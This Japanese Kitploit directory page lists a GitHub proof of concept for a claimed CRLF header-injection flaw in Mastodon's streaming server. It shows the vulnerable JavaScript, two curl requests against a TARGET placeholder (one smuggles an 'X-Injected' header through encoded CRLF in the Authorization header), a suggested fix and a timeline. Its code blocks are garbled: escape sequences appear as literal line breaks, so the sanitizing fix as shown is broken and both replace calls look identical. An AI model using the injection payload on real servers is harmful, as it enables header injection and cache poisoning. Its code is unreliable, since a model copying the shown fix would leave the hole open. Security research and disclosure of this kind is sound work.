Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-Mastodon-Streaming-CRLF-Injection — Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection | Kitploit
ツール/GitHubGitHub/1402307692/cve-2026-mastodon-streaming-crlf-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub1402307692/cve-2026-mastodon-streaming-crlf-injection

CVE-2026-Mastodon-Streaming-CRLF-Injection

Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見るウェブサイト
4ヶ月前未レビュー

CVE-2026-XXXXX: Mastodon Streaming Server における HTTP レスポンスヘッダーインジェクション (CRLF)

脆弱性の概要

項目詳細
CVE IDCVE-2026-XXXXX
影響を受ける製品Mastodon (ストリーミングサーバー)
影響を受けるバージョン<= 4.5.9
コンポーネントstreaming/index.js の 188〜206 行目
脆弱性の種類HTTP レスポンスヘッダーインジェクション / CRLF インジェクション
CWECWE-74
CVSS 3.16.5 (中)
攻撃ベクトルネットワーク
報告者qitian [email protected]

脆弱性の説明

WebSocket アップグレードリクエストの認証に失敗すると、Mastodon Streaming Server は streaming/index.js の 188〜206 行目で手動の HTTP レスポンスを構築し、socket.end() を介して errorMessage を X-Error-Message レスポンスヘッダーに直接書き込みます。このとき、\r または \n 文字はサニタイズされません。

これにより、認証されていないリモートの攻撃者は、任意の HTTP ヘッダーの注入や HTTP レスポンス分割 (Response Splitting) を実行できる可能性があります。

脆弱なコード (streaming/index.js の 188〜206 行目)

root@kitploit:~
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

影響

  • HTTP ヘッダーインジェクション: 任意の HTTP ヘッダーを注入
  • HTTP レスポンス分割: 2 つ目の HTTP レスポンスボディを注入 (キャッシュポイズニング)
  • 情報漏えい: 内部エラーメッセージが認証されていないユーザーに公開される

概念実証 (PoC)

PoC 1 - 基本検出

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

期待される結果: HTTP/1.1 401 Unauthorized、X-Error-Message: Missing access token

PoC 2 - CRLF インジェクション

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

修正方法

socket ヘッダーに書き込む前に errorMessage をサニタイズしてください:

root@kitploit:~
const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

タイムライン

日付イベント
2026-04-22脆弱性を発見し、PoC を作成
2026-04-22CVE レポートを MITRE / VDB に提出

参照

  • https://github.com/mastodon/mastodon
  • https://cwe.mitre.org/data/definitions/74.html

免責事項: この PoC は教育およびセキュリティ研究目的のみで提供されています。

ツールをダウンロード